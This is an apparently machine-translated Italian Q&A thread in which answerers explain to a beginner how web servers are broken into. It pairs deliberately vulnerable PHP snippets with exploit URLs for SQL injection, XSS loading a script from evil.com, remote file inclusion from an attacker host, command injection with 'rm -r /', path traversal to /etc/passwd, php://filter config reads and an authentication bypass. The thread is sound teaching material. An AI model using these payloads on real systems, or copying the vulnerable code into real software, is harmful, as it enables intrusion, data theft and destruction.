Come funziona l'hacking?

Sto specificatamente parlando di web server, con Unix in esecuzione. Sono sempre stato curioso di sapere come gli hacker ottengono il punto di ingresso. Voglio dire, non vedo come un hacker può hackerare nella pagina web quando l'unico metodo di immissione che hanno nel server è un URL. Mi manca qualcosa, perché non vedo in che modo l'hacker può accedere al server semplicemente cambiando l'URL.

Per punto di ingresso intendo il punto di accesso. Il modo in cui un hacker entra nel server.

Potrei avere un esempio di come un hacker potrebbe creare un punto di ingresso in un server web? Qualsiasi linguaggio C è accettabile. Non ho assolutamente esperienza nell'hacking

Un semplice esempio sarebbe apprezzato.

    
posta 31.01.2012 - 19:31
fonte

7 risposte

Hacks che funzionano solo cambiando l'URL

  • Un esempio legittimo e uno malevolo
  • Alcuni esempi richiedono che la codifica dell'URL funzioni (di solito eseguita automaticamente dal browser)

SQL Injection

code:

$username = $_POST['username'];
$pw = $_GET['password'];
mysql_query("SELECT * FROM userTable WHERE username = $username AND password = $pw");

exploit (accedi come amministratore senza conoscere la password):

example.com/?username=Administrator&password=legalPasswordThatShouldBePostInsteadOfGet
example.com/?username=Administrator&password=password' or 1=1--

Cross Site Scripting (XSS)

code:

$nickname= $_GET['nickname'];
echo "<div>Your nickname is $nickname</div>\n";

exploit (registratori che visitano l'utente come zombi in BeEF ):

example.com/?nickname=Karrax
example.com/?nickname=<script src="evil.com/beefmagic.js.php" />

Esecuzione di codice remoto

codice (esempio di Tylerl):

<? include($_GET["module"].".php"); ?>

exploit (scarica ed esegue codice arbitrario):

example.com/?module=frontpage
example.com/?module=pastebin.com/mymaliciousscript

Iniezione comandi

codice:

<?php
echo shell_exec('cat '.$_GET['filename']);
?>

exploit (prova a eliminare tutti i file dalla directory principale):

example.com/?filename=readme.txt
example.com/?filename=readme.txt;rm -r /

Iniezione di codice

codice:

<?php
$myvar = "varname";
$x = $_GET['arg'];
eval("\$myvar = \$x;");
?>

exploit (inject comando phpinfo () che stampa informazioni di attacco molto utili sullo schermo):

example.com/?arg=1
example.com/?arg=1; phpinfo() 

Iniezione LDAP

codice:

<?php
$username = $_GET['username'];
$password = $_GET['password'];
ldap_query("(&(cn=$username)(password=$password)")
?>

exploit (accedi senza conoscere la password dell'amministratore):

example.com/?username=admin&password=adminadmin
example.com/?username=admin&password=*

Attraversamento percorso

codice:

<?php
include("./" . $_GET['page']);
?>

exploit (recupera / etc / passwd):

example.com/?page=front.php
example.com/?page=../../../../../../../../etc/passwd

Attacco reindirizzamento / inoltro

codice:

 <?php
 $redirectUrl = $_GET['url'];
 header("Location: $redirectUrl");
 ?>

exploit (invia l'utente dalla tua pagina alla pagina diabolica):

example.com/?url=example.com/faq.php
example.com/?url=evil.com/sploitCode.php

Errore di limitazione dell'accesso agli URL

codice:

N/A. Lacking .htaccess ACL or similar access control. Allows user to guess or by other 
means discover the location of content that should only be accessible while logged in.

sfruttare:

example.com/users/showUser.php
example.com/admins/editUser.php

Falsificazione richiesta tra siti

codice:

N/A. Code lacks page to page secret to validate that request comes from current site.
Implement a secret that is transmitted and validated between pages. 

sfruttare:

Legal: example.com/app/transferFunds?amount=1500&destinationAccount=4673243243
On evil page: <img src="http://example.com/app/transferFunds?amount=1500destinationAccount=evilAccount#" width="0" height="0" />

Overflow del buffer (tecnicamente accedendo a un URL, ma implementato con metasploit

codice:

N/A. Vulnerability in the webserver code itself. Standard buffer overflow

Exploit (Metasploit + meterpreter?):

http://www.exploit-db.com/exploits/16798/
    
risposta data 31.01.2012 - 21:49
fonte

Il (attualmente) modo più comune è attraverso buchi nelle applicazioni PHP. Ci sono dozzine di modi in cui ciò potrebbe funzionare, ma qui è semplice e facile:

Immagina che il proprietario del sito ignaro decida di prendere una scorciatoia nel suo codice in modo che http://example.com/site.php?module=xyz in effetti prima carichi qualche shell di modello e poi esegua "xyz.php" per riempire il contenuto. Quindi forse scrive qualcosa del genere:

<h1>My Awesome CMS</h1>
<? include($_GET["module"].".php"); ?>
<p>See what I did there? Wow that was clever.</p>

L'hacker visita quindi il sito utilizzando il seguente URL:
http://example.com/site.php?module=http://malicio.us/evilprogram

Ora, invece di caricare il suo script locale, PHP esce e scarica http://malicio.us/evilprogram.php e lo esegue, eseguendo qualunque codice PHP desideri dall'attaccante. Forse inviando spam, magari installando una shell backdoor, forse cercando i file di configurazione per le password.

Ci sono letteralmente migliaia di modi per hackerare un sito, ognuno nuovo come il prossimo. Quasi universalmente, coinvolgono un programmatore che non ha pensato a tutti i possibili input per il loro programma e agli effetti imprevisti che potrebbero avere.

    
risposta data 31.01.2012 - 20:35
fonte

Ci sono due modi per guardarlo, puoi concentrarti sul server stesso o concentrarti sull'applicazione web che il server sta eseguendo.

Come server, può avere porte aperte che eseguono servizi a cui è possibile connettersi e accedere al server. Usando gli exploit conosciuti, potresti ottenere l'accesso come root. Ad esempio, alcuni server FTP per Unix presentano vulnerabilità che possono essere sfruttate da strumenti come Metasploit per ottenere una radice shell.

Come applicazione, ci sono troppi modi per sfruttare un'applicazione mal scritta o configurata. Ad esempio, se passi una query SQL come GET, puoi effettivamente manipolare l'URL stesso per eseguire un attacco SQL Injection e dump interi database. Ad esempio (a seconda della codifica del sito): link UNION SELECT nome utente, password DAGLI UTENTI

Di nuovo, tocchi un argomento enorme e spero che questi ti aiutino a focalizzare i tuoi prossimi passi.

    
risposta data 31.01.2012 - 20:57
fonte

La risposta breve

Questa potrebbe non essere la domanda giusta.

Un hacker ...

... è un ingegnere sociale.

Sono più interessati alle loro interazioni con le persone che alle loro interazioni con i computer. Un hacker preferirebbe piuttosto che tu gli dia la tua password, piuttosto che forzarla brutalmente.

... sta cercando la conoscenza ...

... e sa che la conoscenza è potere. Un hacker è più interessato a ottenere il tuo numero di carta di credito di quanto non sia in usando .

... usa la moralità come scusa ...

... non una causa. Questo è il motivo per cui molti hacker approfitteranno di eventi politici moralmente orientati per renderli pubblici. Sanno che possono usare la moralità per giustificare le loro azioni agli occhi del pubblico.

... non viene catturato a meno che non lo desideri.

Il più delle volte. Gli hacker di Wannabe che saltano proprio dentro senza alcun riguardo per la furtività o l'anonimato sono noti come "script kiddies" o "skiddies" all'interno della comunità degli hacker. Ci sono molte più skiddie degli hacker, molto probabilmente, e saranno probabilmente il tuo più grande fastidio.

... non ha bisogno di strumenti speciali o backdoor.

Il frontend che hai fornito è probabilmente sufficiente.

La risposta lunga

Puoi proteggersi dagli exploit di Metasploit tutto ciò che desideri. Un hacker passerà direttamente attraverso la porta d'ingresso - se non virtualmente, letteralmente.

La risposta desiderata

Visto che le persone non amano la risposta che ho dato , per quanto sia adeguata, ti darò qualcosa di più sulla falsariga di ciò che desideri.

Gli hacker amano rimanere anonimi. Il primo passo in ogni attacco consiste nel mettere insieme una linea di proxy di qualche tipo, siano essi proxy SOCKS, zombi o semplici bot che formano una botnet. Ci sono alcuni modi per farlo, ma prendiamo alcuni proxy morti per il gusto di discutere. Vai su pastebin.com e fai una ricerca per 8080 . Questa è una porta comune per i proxy web. Scorri verso il basso nei risultati finché non trovi un elenco di indirizzi IP e fai clic per visualizzare il risultato. Dovresti avere una lunga lista di proxy web. Posso garantire che la maggior parte, se non tutti, sarà morta. Spiacenti, questo non è un tutorial per l'hacking.

Il prossimo passo è quello di raccogliere informazioni apparentemente banali sul tuo obiettivo. Usando i suoi proxy, un hacker potrebbe eseguire portscan, quindi analizzare tutti i servizi che trova. Hai un sito web? Esploriamolo. Hai un server MySQL? Vediamo quale versione è. Esecuzione di SSH? Vediamo se accetta le password di testo o è limitato ai certificati.

Quindi l'hacker si siede, guarda cosa ha raccolto e decide qual è il punto più debole del sistema. A seconda delle dimensioni del sistema, potrebbe tornare indietro e sondare un po 'di più, se c'è più da sondare e sente di non aver acquisito una debolezza sufficiente. Una debolezza non deve essere un vero "buco" di sicurezza: deve solo essere l'anello più debole. Forse hai un server FTP che non protegge da colpi di martello (tentativi di accesso ripetuti). Forse hai un server web con un mucchio di moduli o URL potenzialmente sfruttabili. Vale la pena indagare ulteriormente.

Se necessario, l'attaccante potrebbe scrivere uno script o un programma per eseguire l'attacco finale, anche se questo non è sempre il caso. La maggior parte dei punti deboli può essere sfruttata con strumenti esistenti, quindi questo di solito non è necessario per l'hacker moderno. Tuttavia, a volte gli hacker scoprono nuovi problemi di sicurezza nel software, nel qual caso a volte hanno bisogno di scrivere strumenti speciali per sfruttare tale software.

Un buon esempio di un programma di attacco palesemente ovvio è quello che viene usato per causare problemi ai server per un gioco chiamato Terraria. Questo non era il suo scopo originale, ma poiché espone vari exploit nel software del server, tende ad essere usato da altri per quello. L'ho scritto in C #. Il codice sorgente è disponibile su GitHub . Gli exploit utilizzano la manipolazione bytecode per modificare il client esistente per inviare dati dannosi. Il server non si aspetta questo dato e reagisce in modi in cui non è stato progettato per funzionare. La scoperta di exploit come questo può essere semplice come il reverse engineering del software target - dico semplice perché questo è diventato un compito sempre più facile con linguaggi riflettenti moderni, come C # e Java. Programmi come .NET Reflector (a pagamento) e dotPeek (gratis, per ora) lo rendono possibile con il semplice clic di un pulsante. Un programmatore C # sufficientemente addestrato può quindi osservare il codice, determinarne la funzionalità e scrivere un programma per modificare questa funzionalità.

    
risposta data 04.02.2012 - 00:31
fonte

Un mio amico aveva un contratto per lavorare su un sito. Mentre lo faceva, notò che gli hacker entrarono nel sito e facevano cose che non gli piacevano. Dopo aver guardato alcuni file di registro, ha notato che gli "hacker" hanno trovato il sito tramite un errore mysql.

Quando riesci a iniettare sql puoi fare tutto ciò che vuoi, ad esempio crearti un account. Se puoi caricare file (specialmente php) hai la possibilità di essere in grado di eseguirlo. Se riesci a eseguirlo, puoi fare più danni come leggere / scrivere file sul filesystem del server anche se non hai un account sul server linux / windows.

Un'altra tecnica sta entrando nel database, guardando le password (specialmente se non sono hash) che provare a stabilire una connessione ssh o ftp con lo stesso indirizzo IP del sito e provare le combinazioni utente / password.

Inoltre non hai bisogno di entrare nel server per essere hackerato. Qualcuno che ho incontrato mi ha raccontato una storia di come il software obsoleto è stato installato sul suo server. Gli aggressori l'hanno usato per caricare ed eseguire il proprio file php che ha iniettato una riga di codice (per aggiungere un iframe) in ogni file index.php e index.html. In sostanza nessuno è stato in grado di visitare il sito. Ha reindirizzato o ha dato un sacco di popup.

    
risposta data 01.02.2012 - 02:31
fonte

Quante volte abbiamo letto degli accessi senza password o "Joes"? Non richiede la conoscenza di Metasploit o qualcosa di veramente esotico per entrare nella porta principale. Un po 'come una macchina da corsa seduta in un vialetto in una fredda mattina "Per favore, rubami".

    
risposta data 01.02.2012 - 16:27
fonte

Solo alcuni esempi da prendere in considerazione.

Seguendo l'esempio di tylerl:

<?php
   if ( isset( $_GET[ 'id' ] ) ) include( $_GET[ 'id' ] . ".php" );
?>

Vettore di attacco:

http://victimsite.com/?id=php://filter/read=convert.base64-encode/resource=includes/configure

Questo è un file locale che include l'attacco base64 a causa della mancanza di una codifica sicura, un hacker è in grado di leggere quasi tutti i file sul sito o sul server che termina con [.php], in questo caso leggendo il contenuto del file del configure.php, PHP restituisce un base64_encode dell'intero contenuto del file che può essere facilmente decodificato in testo leggibile.

Tuttavia, l'URL non valido non deve cercare buchi di convalida della sicurezza dell'input.

In molti siti di web commerce, il codice $ PHP_SELF riporta erroneamente il nome del file dove yoursite.com/admin/administrators.php, $ PHP_SELF ha riportato il nome del file come administrators.php, tuttavia se login.php è stato aggiunto come admin / administrators.php /login.php, quindi $ PHP_SELF misreport login.php come nome file invece di administrators.php.

Quindi, ad esempio, se la domanda di convalida della sessione di amministrazione è stata posta in questo esempio ispiratore:

* if (non una sessione di amministrazione valida) e ($ PHP_SELF non = per login.php) quindi reindirizzare a login.php *

La pagina non reindirizzerà mai al login.php perché $ PHP_SELF sta erroneamente dichiarando il vero nome del file, quindi l'autore dell'attacco ha accesso al file administrators.php senza la necessità di credenziali corrette.

    
risposta data 03.02.2012 - 07:53
fonte

Leggi altre domande sui tag